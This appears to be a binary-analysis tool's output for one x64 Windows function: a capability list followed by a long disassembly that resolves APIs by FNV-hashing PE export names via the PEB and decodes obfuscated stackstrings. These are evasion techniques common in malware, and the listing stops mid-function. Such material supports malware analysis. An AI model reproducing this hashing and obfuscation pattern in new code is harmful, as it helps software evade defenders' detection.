Function at 0x14000a060
Capabilities:
Access peb ldr_data
Authenticate hmac
Contain obfuscated stackstrings
Encode data using xor
Get number of processors
Get process heap flags
Get process heap force flags
Hash data using fnv
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x40]
sub rsp, 0x140
mov rax, qword [0x140122218]
xor rax, rsp
mov qword [rbp + 0x30], rax
mov rax, qword gs:[0x60]
xor ebx, ebx
mov r14d, ebx
mov esi, 0x84336045
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r11, qword [rax + 0x30]
test r11, r11
je 0x14000a297
cmp word [rax + 0x48], 0
je 0x14000a297
mov ecx, dword [rax + 0x58]
sub cx, 8
test r14d, r14d
je 0x14000a123
mov r9, qword [rax + 0x60]
mov r10d, 0x1fd96f33
movzx ecx, cx
shr rcx, 1
lea rbx, [r9 + rcx*2]
cmp r9, rbx
je 0x14000a11a
nop dword [rax]
movsx ecx, byte [r9]
mov edx, ecx
sub cl, 0x41
mov r8d, edx
or r8d, 0x20
cmp cl, 0x19
cmova r8d, edx
add r9, 2
xor r8d, r10d
imul r10d, r8d, 0x1000193
cmp r9, rbx
jne 0x14000a0f0
cmp r10d, r14d
jne 0x14000a297
movsxd rcx, dword [r11 + 0x3c]
mov rdx, qword [rcx + r11 + 0x88]
mov r12, rdx
mov edi, edx
shr r12, 0x20
add rdi, r11
cmp rdi, r11
je 0x14000a297
mov ebx, dword [rdi + 0x18]
test ebx, ebx
je 0x14000a297
mov edx, dword [rdi + 0x24]
mov r9d, dword [rdi + 0x1c]
mov r10d, dword [rdi + 0x20]
nop word [rax + rax]
dec ebx
lea rcx, [r11 + rbx*2]
movzx edx, word [rcx + rdx]
lea rcx, [r9 + rdx*4]
mov r13d, dword [rcx + r11]
lea rcx, [r10 + rbx*4]
mov r9d, dword [rcx + r11]
add r13, r11
add r9, r11
mov qword [rbp - 0x18], r13
cmp r13, rdi
jbe 0x14000a197
lea rcx, [r12 + rdi]
cmp r13, rcx
jae 0x14000a197
mov r15b, 1
jmp 0x14000a19a
xor r15b, r15b
movzx ecx, byte [r9]
mov r10d, 0x1fd96f33
inc r9
test cl, cl
je 0x14000a1db
nop dword [rax + rax]
movsx edx, cl
lea r9, [r9 + 1]
sub cl, 0x41
mov r8d, edx
or r8d, 0x20
cmp cl, 0x19
movzx ecx, byte [r9 - 1]
cmova r8d, edx
xor r8d, r10d
imul r10d, r8d, 0x1000193
test cl, cl
jne 0x14000a1b0
cmp r10d, esi
je 0x14000a1fb
mov edx, dword [rdi + 0x24]
mov r9d, dword [rdi + 0x1c]
mov r10d, dword [rdi + 0x20]
test ebx, ebx
jne 0x14000a160
mov rax, qword [rax]
jmp 0x14000a0b0
test r15b, r15b
je 0x14000a29f
movzx edx, byte [r13]
mov esi, 0x1fd96f33
mov r14d, esi
cmp dl, 0x2e
je 0x14000a248
nop word [rax + rax]
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
movzx edx, byte [r13 + 1]
cmova ecx, eax
inc r13
xor ecx, r14d
imul r14d, ecx, 0x1000193
cmp dl, 0x2e
jne 0x14000a220
movzx edx, byte [r13 + 1]
inc r13
test dl, dl
je 0x14000a286
nop dword [rax]
nop dword [rax + rax]
movsx eax, dl
lea r13, [r13 + 1]
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
movzx edx, byte [r13]
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
test dl, dl
jne 0x14000a260
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x14000a0b0
mov ecx, recv
mov r8b, 0xaa
mov dword [rbp - 0x24], ecx
mov dl, 0xa5
movzx eax, dl
mov r9b, 0xb7
and al, 0xfc
mov r10b, 0x17
sub cl, al
movzx r11d, r10b
add cl, cl
mov eax, 0x19
add dl, cl
mov bl, reloc.WS2_32.dll_recv
movzx ecx, r8b
mov byte [rsp + 0x30], dl
and cl, 0xfd
mov dil, 0x4b
add cl, cl
mov sil, 0x54
sub al, cl
mov r14b, 0x55
add r8b, al
mov ecx, recvfrom
movzx eax, r9b
mov byte [rsp + 0x31], r8b
and al, 0xfe
mov r8d, 0x1b
sub cl, al
xor r12d, r12d
add cl, cl
mov dword [rsp + 0x4b], r12d
add r9b, cl
add r10b, 0x1c
movzx ecx, r11b
mov byte [rsp + 0x32], r9b
and cl, 1
mov byte [rsp + 0x34], r10b
add cl, cl
lea eax, [r8 - 0xa9]
mov byte [rsp + 0x33], al
mov r15b, 0xe2
mov eax, 0x1d
xorps xmm0, xmm0
sub al, cl
mov ecx, recvfrom
add r11b, al
movzx eax, bl
and al, 2
mov byte [rsp + 0x35], r11b
sub cl, al
mov eax, 0x1f
add cl, cl
mov dword [rbp - 0x70], eax
add bl, cl
movzx ecx, dil
and cl, 3
mov byte [rsp + 0x36], bl
add cl, cl
sub al, cl
mov ecx, reloc.WS2_32.dll_recv
add dil, al
movzx eax, sil
and al, 4
mov byte [rsp + 0x37], dil
sub cl, al
mov eax, 0x21
add cl, cl
add sil, cl
movzx ecx, r14b
and cl, 5
mov byte [rsp + 0x38], sil
add cl, cl
sub al, cl
mov ecx, reloc.WS2_32.dll_recvfrom
add r14b, al
movzx eax, r15b
and al, 6
mov byte [rsp + 0x39], r14b
sub cl, al
movups xmmword [rsp + 0x3b], xmm0
add cl, cl
movd edx, xmm0
add r15b, cl
mov eax, 0x23
mov byte [rsp + 0x3a], r15b
movzx ecx, dl
and cl, 7
add cl, cl
sub al, cl
mov ecx, sendto
add dl, al
mov byte [rsp + 0x3b], dl
movzx edx, byte [rsp + 0x3c]
movzx eax, dl
and al, 8
sub cl, al
mov eax, 0x25
add cl, cl
add dl, cl
mov byte [rsp + 0x3c], dl
movzx edx, byte [rsp + 0x3d]
movzx ecx, dl
and cl, 9
add cl, cl
sub al, cl
mov ecx, reloc.WS2_32.dll_send
add dl, al
mov byte [rsp + 0x3d], dl
movzx edx, byte [rsp + 0x3e]
movzx eax, dl
and al, 0xa
sub cl, al
mov eax, 0x27
add cl, cl
add dl, cl
mov byte [rsp + 0x3e], dl
movzx edx, byte [rsp + 0x3f]
movzx ecx, dl
and cl, 0xb
add cl, cl
sub al, cl
mov ecx, reloc.WS2_32.dll_sendto
add dl, al
mov byte [rsp + 0x3f], dl
movzx edx, byte [rsp + 0x40]
movzx eax, dl
and al, 0xc
sub cl, al
mov eax, 0x29
add cl, cl
add dl, cl
mov byte [rsp + 0x40], dl
movzx edx, byte [rsp + 0x41]
movzx ecx, dl
and cl, 0xd
add cl, cl
sub al, cl
mov ecx, reloc.WS2_32.dll_setsockopt
add dl, al
mov byte [rsp + 0x41], dl
movzx edx, byte [rsp + 0x42]
movzx eax, dl
and al, 0xe
sub cl, al
mov eax, 0x2b
add cl, cl
add dl, cl
mov byte [rsp + 0x42], dl
movzx edx, byte [rsp + 0x43]
movzx ecx, dl
and cl, 0xf
add cl, cl
sub al, cl
mov ecx, 0x16
add dl, al
mov byte [rsp + 0x43], dl
movzx edx, byte [rsp + 0x44]
movzx eax, dl
and al, 0x10
sub cl, al
add cl, cl
add dl, cl
mov eax, 0x2d
mov byte [rsp + 0x44], dl
movzx edx, byte [rsp + 0x45]
movzx ecx, dl
and cl, 0x11
add cl, cl
sub al, cl
mov ecx, 0x17
add dl, al
mov byte [rsp + 0x45], dl
movzx edx, byte [rsp + 0x46]
movzx eax, dl
and al, 0x12
sub cl, al
mov eax, 0x2f
add cl, cl
add dl, cl
mov byte [rsp + 0x46], dl
movzx edx, byte [rsp + 0x47]
movzx ecx, dl
and cl, 0x13
add cl, cl
sub al, cl
mov ecx, 0x18
add dl, al
mov byte [rsp + 0x47], dl
movzx edx, byte [rsp + 0x48]
movzx eax, dl
and al, 0x14
sub cl, al
mov eax, 0x31
add cl, cl
add dl, cl
mov byte [rsp + 0x48], dl
movzx edx, byte [rsp + 0x49]
movzx ecx, dl
and cl, 0x15
add cl, cl
sub al, cl
mov ecx, 0x19
add dl, al
mov byte [rsp + 0x49], dl
movzx edx, byte [rsp + 0x4a]
movzx eax, dl
and al, 0x16
sub cl, al
mov eax, 0x33
add cl, cl
add dl, cl
movzx ecx, r12b
and cl, 0x17
mov byte [rsp + 0x4a], dl
movzx edx, byte [rsp + 0x4c]
add cl, cl
sub al, cl
mov ecx, 0x1a
add r12b, al
movzx eax, dl
and al, 0x18
mov byte [rsp + 0x4b], r12b
sub cl, al
mov eax, 0x35
add cl, cl
add dl, cl
mov byte [rsp + 0x4c], dl
movzx edx, byte [rsp + 0x4d]
movzx ecx, dl
and cl, 0x19
add cl, cl
sub al, cl
mov ecx, r8d
add dl, al
mov byte [rsp + 0x4d], dl
movzx edx, byte [rsp + 0x4e]
movzx eax, dl
and al, 0x1a
sub cl, al
add cl, cl
add dl, cl
mov byte [rsp + 0x4e], dl
lea rcx, [rsp + 0x30]
call r13
mov dl, 0xdd
mov eax, 0xa6
movzx ecx, dl
mov r8b, 0xc6
and cl, 0x8f
mov r9b, 0xc7
add cl, cl
mov r10b, 0x8e
sub al, cl
mov r11b, 0x88
add dl, al
movzx ecx, r8b
and cl, 0x90
mov byte [rsp + 0x30], dl
add cl, cl
mov eax, 0xa7
sub al, cl
xor r12d, r12d
add r8b, al
mov dword [rsp + 0x4a], r12d
movzx ecx, r9b
mov word [rsp + 0x4e], r12w
and cl, 0x91
mov byte [rsp + 0x31], r8b
add cl, cl
mov eax, 0xa8
sub al, cl
mov bl, 0x83
add r9b, al
movzx ecx, r10b
and cl, 0x92
mov byte [rsp + 0x32], r9b
add cl, cl
mov eax, 0xa9
sub al, cl
mov dil, 0xd8
add r10b, al
movzx ecx, r11b
and cl, 0x93
mov byte [rsp + 0x33], r10b
add cl, cl
mov eax, 0xaa
sub al, cl
mov sil, 0xc3
add r11b, al
movzx ecx, bl
and cl, 0x94
mov byte [rsp + 0x34], r11b
add cl, cl
mov eax, 0xab
sub al, cl
mov r14b, 0xc2
add bl, al
movzx ecx, dil
and cl, 0x95
mov byte [rsp + 0x35], bl
add cl, cl
mov eax, 0xac
sub al, cl
mov r15b, 0x71
add dil, al
movzx ecx, sil
and cl, 0x96
mov byte [rsp + 0x36], dil
add cl, cl
mov eax, 0xad
sub al, cl
xorps xmm0, xmm0
add sil, al
movzx ecx, r14b
and cl, 0x97
mov byte [rsp + 0x37], sil
add cl, cl
mov eax, 0xae
sub al, cl
movzx ecx, r15b
add r14b, al
mov byte [rsp + 0x38], r14b
movups xmmword [rsp + 0x3a], xmm0
and cl, 0x98
movd edx, xmm0
add cl, cl
mov eax, 0xaf
sub al, cl
add r15b, al
movzx ecx, dl
and cl, 0x99
mov byte [rsp + 0x39], r15b
add cl, cl
mov eax, 0xb0
sub al, cl
add dl, al
mov eax, 0xb1
mov byte [rsp + 0x3a], dl
movzx edx, byte [rsp + 0x3b]
movzx ecx, dl
and cl, 0x9a
add cl, cl
sub al, cl
add dl, al
mov eax, 0xb2
mov byte [rsp + 0x3b], dl
movzx edx, byte [rsp + 0x3c]
movzx ecx, dl
and cl, 0x9b
add cl, cl
sub al, cl
add dl, al
mov eax, 0xb3
mov byte [rsp + 0x3c], dl
movzx edx, byte [rsp + 0x3d]
movzx ecx, dl
and cl, 0x9c
add cl, cl
sub al, cl
add dl, al
mov eax, 0xb4
mov byte [rsp + 0x3d], dl
movzx edx, byte [rsp + 0x3e]
movzx ecx, dl
and cl, 0x9d
add cl, cl
sub al, cl
add dl, al
mov eax, 0xb5
mov byte [rsp + 0x3e], dl
movzx edx, byte [rsp + 0x3f]
movzx ecx, dl
and cl, 0x9e
add cl, cl
sub al, cl
add dl, al
mov eax, 0xb6
mov byte [rsp + 0x3f], dl
movzx edx, byte [rsp + 0x40]
movzx ecx, dl
and cl, 0x9f
add cl, cl
sub al, cl
add dl, al
mov eax, 0xb7
mov byte [rsp + 0x40], dl
movzx edx, byte [rsp + 0x41]
movzx ecx, dl
and cl, 0xa0
add cl, cl
sub al, cl
add dl, al
mov eax, 0xb8
mov byte [rsp + 0x41], dl
movzx edx, byte [rsp + 0x42]
movzx ecx, dl
and cl, 0xa1
add cl, cl
sub al, cl
add dl, al
mov byte [rsp + 0x42], dl
movzx edx, byte [rsp + 0x43]
movzx ecx, dl
and cl, 0xa2
add cl, cl
mov eax, 0xb9
sub al, cl
add dl, al
mov eax, 0xba
mov byte [rsp + 0x43], dl
movzx edx, byte [rsp + 0x44]
movzx ecx, dl
and cl, 0xa3
add cl, cl
sub al, cl
add dl, al
mov eax, 0xbb
mov byte [rsp + 0x44], dl
movzx edx, byte [rsp + 0x45]
movzx ecx, dl
and cl, 0xa4
add cl, cl
sub al, cl
add dl, al
mov eax, 0xbc
mov byte [rsp + 0x45], dl
movzx edx, byte [rsp + 0x46]
movzx ecx, dl
and cl, 0xa5
add cl, cl
sub al, cl
add dl, al
mov eax, 0xbd
mov byte [rsp + 0x46], dl
movzx edx, byte [rsp + 0x47]
movzx ecx, dl
and cl, 0xa6
add cl, cl
sub al, cl
add dl, al
mov eax, 0xbe
mov byte [rsp + 0x47], dl
movzx edx, byte [rsp + 0x48]
movzx ecx, dl
and cl, 0xa7
add cl, cl
sub al, cl
add dl, al
mov eax, 0xbf
mov byte [rsp + 0x48], dl
movzx edx, byte [rsp + 0x49]
movzx ecx, dl
and cl, 0xa8
add cl, cl
sub al, cl
movzx ecx, r12b
add dl, al
and cl, 0xa9
add cl, cl
mov byte [rsp + 0x49], dl
mov eax, 0xc0
sub al, cl
lea edx, [rax + r12]
mov eax, 0xc1
mov byte [rsp + 0x4a], dl
movzx edx, byte [rsp + 0x4b]
movzx ecx, dl
and cl, 0xaa
add cl, cl
sub al, cl
add dl, al
mov eax, 0xc2
mov byte [rsp + 0x4b], dl
movzx edx, byte [rsp + 0x4c]
movzx ecx, dl
and cl, 0xab
add cl, cl
sub al, cl
add dl, al
mov eax, 0xc3
mov byte [rsp + 0x4c], dl
movzx edx, byte [rsp + 0x4d]
movzx ecx, dl
and cl, 0xac
add cl, cl
sub al, cl
movzx ecx, r12b
add dl, al
and cl, 0xad
add cl, cl
mov byte [rsp + 0x4d], dl
movzx edx, byte [rsp + 0x4f]
mov eax, 0xc4
sub al, cl
movzx ecx, dl
add r12b, al
and cl, 0xae
add cl, cl
mov byte [rsp + 0x4e], r12b
mov eax, 0xc5
sub al, cl
lea rcx, [rsp + 0x30]
add dl, al
mov byte [rsp + 0x4f], dl
call r13
mov ecx, dword [rbp - 0x70]
xor eax, eax
mov qword [rbp - 0x30], rax
mov dl, 0x25
mov qword [rsp + 0x3d], rax
mov r8b, 0x3d
mov word [rsp + 0x45], ax
mov r9b, 0xce
movzx eax, dl
mov r10b, 0x20
and al, 0x4b
mov r11b, 0x32
sub cl, al
movzx r15d, dl
add cl, cl
mov eax, 0x3f
add dl, cl
mov bl, 0x26
movzx ecx, r8b
mov byte [rsp + 0x30], dl
and cl, 0x4c
mov dil, reloc.WS2_32.dll_recvfrom
add cl, cl
mov sil, WSAGetLastError
sub al, cl
mov r14b, 0x68
add r8b, al
mov ecx, 0x20
movzx eax, r9b
mov byte [rsp + 0x31], r8b
and al, 0x4d
mov r12b, 0x2c
sub cl, al
mov r13b, 0x2f
add cl, cl
mov eax, 0x41
add r9b, cl
movzx ecx, r10b
and cl, 0x4e
mov byte [rsp + 0x32], r9b
add cl, cl
sub al, cl
mov ecx, 0x21
add r10b, al
movzx eax, r11b
and al, 0x4f
mov byte [rsp + 0x33], r10b
sub cl, al
mov eax, 0x43
add cl, cl
add r11b, cl
movzx ecx, bl
and cl, 0x50
mov byte [rsp + 0x34], r11b
add cl, cl
sub al, cl
mov ecx, 0x22
add bl, al
movzx eax, dil
and al, 0x51
mov byte [rsp + 0x35], bl
sub cl, al
mov r8, qword [rbp - 0x30]
add cl, cl
mov eax, 0x45
add dil, cl
mov dl, 0x5a
movzx ecx, sil
mov byte [rsp + 0x36], dil
and cl, 0x52
add cl, cl
sub al, cl
mov ecx, 0x23
add sil, al
movzx eax, r14b
and al, 0x53
mov byte [rsp + 0x37], sil
sub cl, al
mov eax, 0x47
add cl, cl
add r14b, cl
movzx ecx, r15b
and cl, 0x54
mov byte [rsp + 0x38], r14b
add cl, cl
sub al, cl
mov ecx, 0x24
add r15b, al
movzx eax, r12b
and al, 0x55
mov byte [rsp + 0x39], r15b
sub cl, al
mov eax, 0x49
add cl, cl
add r12b, cl
movzx ecx, r13b
and cl, 0x56
mov byte [rsp + 0x3a], r12b
add cl, cl
sub al, cl
mov ecx, 0x25
add r13b, al
movzx eax, dl
and al, 0x57
mov byte [rsp + 0x3b], r13b
sub cl, al
mov eax, 0x4b
add cl, cl
add dl, cl
movzx ecx, r8b
and cl, 0x58
mov byte [rsp + 0x3c], dl
add cl, cl
sub al, cl
mov ecx, 0x26
lea edx, [rax + r8]
mov byte [rsp + 0x3d], dl
movzx edx, byte [rsp + 0x3e]
movzx eax, dl
and al, 0x59
sub cl, al
mov eax, 0x4d
add cl, cl
add dl, cl
mov byte [rsp + 0x3e], dl
movzx edx, byte [rsp + 0x3f]
movzx ecx, dl
and cl, 0x5a
add cl, cl
sub al, cl
mov ecx, 0x27
add dl, al
mov byte [rsp + 0x3f], dl
movzx edx, byte [rsp + 0x40]
movzx eax, dl
and al, 0x5b
sub cl, al
add cl, cl
add dl, cl
mov byte [rsp + 0x40], dl
movzx edx, byte [rsp + 0x41]
movzx ecx, dl
and cl, 0x5c
mov eax, 0x4f
add cl, cl
sub al, cl
mov ecx, 0x28
add dl, al
mov byte [rsp + 0x41], dl
movzx edx, byte [rsp + 0x42]
movzx eax, dl
and al, 0x5d
sub cl, al
mov eax, 0x51
add cl, cl
add dl, cl
mov byte [rsp + 0x42], dl
movzx edx, byte [rsp + 0x43]
movzx ecx, dl
and cl, 0x5e
add cl, cl
sub al, cl
mov ecx, 0x29
add dl, al
mov byte [rsp + 0x43], dl
movzx edx, byte [rsp + 0x44]
movzx eax, dl
and al, 0x5f
sub cl, al
mov eax, 0x53
add cl, cl
add dl, cl
movzx ecx, r8b
and cl, 0x60
mov byte [rsp + 0x44], dl
movzx edx, byte [rsp + 0x46]
add cl, cl
sub al, cl
mov ecx, 0x2a
add r8b, al
movzx eax, dl
and al, 0x61
mov byte [rsp + 0x45], r8b
sub cl, al
add cl, cl
add dl, cl
lea rcx, [rsp + 0x30]
mov byte [rsp + 0x46], dl
call qword [rbp - 0x18]
xor eax, eax
mov dl, 0x43
mov qword [rbp - 0x30], rax
mov ecx, 0x1a
mov qword [rsp + 0x3c], rax
mov r8b, 0x75
movzx eax, dl
mov r9b, 0x7e
and al, 0x22
mov r10b, 0x40
sub cl, al
mov r11b, 0x69
add cl, cl
mov eax, 0x35
add dl, cl
mov bl, 0x79
movzx ecx, r8b
mov byte [rsp + 0x30], dl
and cl, 0x23
mov dil, 0x7f
add cl, cl
mov sil, 0x35
sub al, cl
mov r14b, 0x78
add r8b, al
mov ecx, 0x1b
movzx eax, r9b
mov byte [rsp + 0x31], r8b
and al, 0x24
mov r15b, 0x71
sub cl, al
mov r12b, 0x76
add cl, cl
mov r13b, 0xc3
add r9b, cl
mov r8, qword [rbp - 0x30]
movzx ecx, r10b
mov byte [rsp + 0x32], r9b
and cl, 0x25
mov eax, 0x37
add cl, cl
sub al, cl
mov ecx, 0x1c
add r10b, al
movzx eax, r11b
and al, 0x26
mov byte [rsp + 0x33], r10b
sub cl, al
mov eax, 0x39
add cl, cl
add r11b, cl
movzx ecx, bl
and cl, 0x27
mov byte [rsp + 0x34], r11b
add cl, cl
sub al, cl
mov ecx, 0x1d
add bl, al
movzx eax, dil
and al, 0x28
mov byte [rsp + 0x35], bl
sub cl, al
mov eax, 0x3b
add cl, cl
add dil, cl
movzx ecx, sil
and cl, 0x29
mov byte [rsp + 0x36], dil
add cl, cl
sub al, cl
mov ecx, 0x1e
add sil, al
movzx eax, r14b
and al, 0x2a
mov byte [rsp + 0x37], sil
sub cl, al
mov eax, 0x3d
add cl, cl
add r14b, cl
movzx ecx, r15b
and cl, 0x2b
mov byte [rsp + 0x38], r14b
add cl, cl
sub al, cl
mov ecx, dword [rbp - 0x70]
add r15b, al
movzx eax, r12b
and al, 0x2c
mov byte [rsp + 0x39], r15b
sub cl, al
mov eax, 0x3f
add cl, cl
add r12b, cl
movzx ecx, r13b
and cl, 0x2d
mov byte [rsp + 0x3a], r12b
add cl, cl
sub al, cl
mov ecx, 0x20
add r13b, al
movzx eax, r8b
and al, 0x2e
mov byte [rsp + 0x3b], r13b
sub cl, al
mov eax, 0x41
add cl, cl
lea edx, [rcx + r8]
mov byte [rsp + 0x3c], dl
movzx edx, byte [rsp + 0x3d]
movzx ecx, dl
and cl, 0x2f
add cl, cl
sub al, cl
add dl, al
mov byte [rsp + 0x3d], dl
movzx edx, byte [rsp + 0x3e]
mov ecx, 0x21
movzx eax, dl
and al, 0x30
sub cl, al
mov eax, 0x43
add cl, cl
add dl, cl
mov byte [rsp + 0x3e], dl
movzx edx, byte [rsp + 0x3f]
movzx ecx, dl
and cl, 0x31
add cl, cl
sub al, cl
mov ecx, 0x22
add dl, al
mov byte [rsp + 0x3f], dl
movzx edx, byte [rsp + 0x40]
movzx eax, dl
and al, 0x32
sub cl, al
mov eax, 0x45
add cl, cl
add dl, cl
mov byte [rsp + 0x40], dl
movzx edx, byte [rsp + 0x41]
movzx ecx, dl
and cl, 0x33
add cl, cl
sub al, cl
mov ecx, 0x23
add dl, al
mov byte [rsp + 0x41], dl
movzx edx, byte [rsp + 0x42]
movzx eax, dl
and al, 0x34
sub cl, al
mov eax, 0x47
add cl, cl
add dl, cl
mov byte [rsp + 0x42], dl
movzx edx, byte [rsp + 0x43]
movzx ecx, dl
and cl, 0x35
add cl, cl
sub al, cl
mov ecx, 0x24
add dl, al
movzx eax, r8b
and al, 0x36
mov byte [rsp + 0x43], dl
sub cl, al
add cl, cl
add r8b, cl
lea rcx, [rsp + 0x30]
mov byte [rsp + 0x44], r8b
call qword [rbp - 0x18]
xor eax, eax
mov dl, 0x53
mov qword [rbp - 0x30], rax
mov ecx, reloc.WS2_32.dll_recvfrom
mov qword [rsp + 0x3c], rax
mov r8b, 0x4d
mov dword [rsp + 0x44], eax
mov r9b, 0x4f
movzx eax, dl
mov r10b, 0x47
and al, 0x25
mov r11b, 0x46
sub cl, al
mov bl, 0x1c
add cl, cl
mov dil, 0x1e
add dl, cl
mov sil, 0x1d
mov byte [rsp + 0x30], dl
mov r14b, 0x4a
mov r15b, 0x41
mov r12b, 0x40
mov r13b, 0x33
movzx ecx, r8b
and cl, 0x26
mov eax, 0x23
add cl, cl
sub al, cl
mov ecx, sendto
add r8b, al
movzx eax, r9b
and al, 0x27
mov byte [rsp + 0x31], r8b
sub cl, al
mov r8, qword [rbp - 0x30]
add cl, cl
mov eax, 0x25
add r9b, cl
movzx ecx, r10b
and cl, 0x28
mov byte [rsp + 0x32], r9b
add cl, cl
sub al, cl
mov ecx, reloc.WS2_32.dll_send
add r10b, al
movzx eax, r11b
and al, 0x29
mov byte [rsp + 0x33], r10b
sub cl, al
mov eax, 0x27
add cl, cl
add r11b, cl
movzx ecx, bl
and cl, 0x2a
mov byte [rsp + 0x34], r11b
add cl, cl
sub al, cl
mov ecx, reloc.WS2_32.dll_sendto
add bl, al
movzx eax, dil
and al, 0x2b
mov byte [rsp + 0x35], bl
sub cl, al
mov eax, 0x29
add cl, cl
add dil, cl
movzx ecx, sil
and cl, 0x2c
mov byte [rsp + 0x36], dil
add cl, cl
sub al, cl
mov ecx, reloc.WS2_32.dll_setsockopt
add sil, al
movzx eax, r14b
and al, 0x2d
mov byte [rsp + 0x37], sil
sub cl, al
mov eax, 0x2b
add cl, cl
add r14b, cl
movzx ecx, r15b
and cl, 0x2e
mov byte [rsp + 0x38], r14b
add cl, cl
sub al, cl
mov ecx, 0x16
add r15b, al
movzx eax, r12b
and al, 0x2f
mov byte [rsp + 0x39], r15b
sub cl, al
mov eax, 0x2d
add cl, cl
add r12b, cl
movzx ecx, r13b
and cl, 0x30
mov byte [rsp + 0x3a], r12b
add cl, cl
sub al, cl
mov ecx, 0x17
add r13b, al
movzx eax, r8b
and al, 0x31
mov byte [rsp + 0x3b], r13b
sub cl, al
add cl, cl
mov eax, 0x2f
lea edx, [rcx + r8]
mov byte [rsp + 0x3c], dl
movzx edx, byte [rsp + 0x3d]
movzx ecx, dl
and cl, 0x32
add cl, cl
sub al, cl
mov ecx, 0x18
add dl, al
mov byte [rsp + 0x3d], dl
movzx edx, byte [rsp + 0x3e]
movzx eax, dl
and al, 0x33
sub cl, al
mov eax, 0x31
add cl, cl
add dl, cl
mov byte [rsp + 0x3e], dl
movzx edx, byte [rsp + 0x3f]
movzx ecx, dl
and cl, 0x34
add cl, cl
sub al, cl
mov ecx, 0x19
add dl, al
mov byte [rsp + 0x3f], dl
movzx edx, byte [rsp + 0x40]
movzx eax, dl
and al, 0x35
sub cl, al
mov eax, 0x33
add cl, cl
add dl, cl
mov byte [rsp + 0x40], dl
movzx edx, byte [rsp + 0x41]
movzx ecx, dl
and cl, 0x36
add cl, cl
sub al, cl
mov ecx, 0x1a
add dl, al
mov byte [rsp + 0x41], dl
movzx edx, byte [rsp + 0x42]
movzx eax, dl
and al, 0x37
sub cl, al
mov eax, 0x35
add cl, cl
add dl, cl
mov byte [rsp + 0x42], dl
movzx edx, byte [rsp + 0x43]
movzx ecx, dl
and cl, 0x38
add cl, cl
sub al, cl
mov ecx, 0x1b
add dl, al
movzx eax, r8b
and al, 0x39
mov byte [rsp + 0x43], dl
sub cl, al
mov eax, 0x37
add cl, cl
lea edx, [rcx + r8]
mov byte [rsp + 0x44], dl
movzx edx, byte [rsp + 0x45]
movzx ecx, dl
and cl, 0x3a
add cl, cl
sub al, cl
mov ecx, 0x1c
add dl, al
mov byte [rsp + 0x45], dl
movzx edx, byte [rsp + 0x46]
movzx eax, dl
and al, 0x3b
sub cl, al
add cl, cl
add dl, cl
mov byte [rsp + 0x46], dl
mov eax, 0x39
movzx edx, byte [rsp + 0x47]
movzx ecx, dl
and cl, 0x3c
add cl, cl
sub al, cl
mov ecx, 0x1d
add dl, al
movzx eax, r8b
and al, 0x3d
mov byte [rsp + 0x47], dl
sub cl, al
add cl, cl
add r8b, cl
lea rcx, [rsp + 0x30]
mov byte [rsp + 0x48], r8b
call qword [rbp - 0x18]
mov r9b, 0x24
xor r13d, r13d
movzx edi, r9b
mov qword [rsp + 0x3b], r13
mov dl, 0x57
mov dword [rsp + 0x43], r13d
movzx eax, dl
mov word [rsp + 0x47], r13w
and al, 0x1e
mov r11b, 0x27
mov ecx, 0x26
mov r8b, 0x5a
sub cl, al
movzx ebx, r11b
add cl, cl
mov eax, 0x4d
add dl, cl
mov r10b, reloc.WS2_32.dll_recv
movzx ecx, r8b
mov byte [rsp + 0x30], dl
and cl, 0x1f
mov sil, reloc.WS2_32.dll_send
add cl, cl
mov r14b, 0x18
sub al, cl
mov r15b, 0x19
add r8b, al
mov ecx, 0x27
movzx eax, r9b
mov byte [rsp + 0x31], r8b
and al, 0x20
mov r12b, 0xfa
sub cl, al
mov eax, 0x4f
add cl, cl
add r9b, cl
movzx ecx, r10b
and cl, 0x21
mov byte [rsp + 0x32], r9b
add cl, cl
sub al, cl
mov ecx, 0x28
add r10b, al
movzx eax, r11b
and al, 0x22
mov byte [rsp + 0x33], r10b
sub cl, al
mov eax, 0x51
add cl, cl
add r11b, cl
movzx ecx, bl
and cl, 0x23
mov byte [rsp + 0x34], r11b
add cl, cl
sub al, cl
mov ecx, 0x29
add bl, al
movzx eax, dil
and al, al
mov byte [rsp + 0x35], bl
sub cl, al
add cl, cl
add dil, cl
movzx ecx, sil
mov byte [rsp + 0x36], dil
and cl, 0x25
mov eax, 0x53
add cl, cl
sub al, cl
mov ecx, 0x2a
add sil, al
movzx eax, r14b
and al, 0x26
mov byte [rsp + 0x37], sil
sub cl, al
mov eax, 0x55
add cl, cl
add r14b, cl
movzx ecx, r15b
and cl, 0x27
mov byte [rsp + 0x38], r14b
add cl, cl
sub al, cl
mov ecx, 0x2b
add r15b, al
movzx eax, r12b
and al, 0x28
mov byte [rsp + 0x39], r15b
sub cl, al
mov eax, 0x57
add cl, cl
add r12b, cl
movzx ecx, r13b
and cl, 0x29
mov byte [rsp + 0x3a], r12b
add cl, cl
sub al, cl
mov ecx, 0x2c
lea edx, [rax + r13]
mov byte [rsp + 0x3b], dl
movzx edx, byte [rsp + 0x3c]
movzx eax, dl
and al, 0x2a
sub cl, al
mov eax, 0x59
add cl, cl
add dl, cl
mov byte [rsp + 0x3c], dl
movzx edx, byte [rsp + 0x3d]
movzx ecx, dl
and cl, 0x2b
add cl, cl
sub al, cl
mov ecx, 0x2d
add dl, al
mov byte [rsp + 0x3d], dl
movzx edx, byte [rsp + 0x3e]
movzx eax, dl
and al, 0x2c
sub cl, al
mov eax, 0x5b
add cl, cl
add dl, cl
mov byte [rsp + 0x3e], dl
movzx edx, byte [rsp + 0x3f]
movzx ecx, dl
and cl, 0x2d
add cl, cl
sub al, cl
mov ecx, 0x2e
add dl, al
mov byte [rsp + 0x3f], dl
movzx edx, byte [rsp + 0x40]
movzx eax, dl
and al, 0x2e
sub cl, al
mov eax, 0x5d
add cl, cl
add dl, cl
mov byte [rsp + 0x40], dl
movzx edx, byte [rsp + 0x41]
movzx ecx, dl
and cl, 0x2f
add cl, cl
sub al, cl
mov r12d, 0x2f
add dl, al
mov ecx, r12d
mov byte [rsp + 0x41], dl
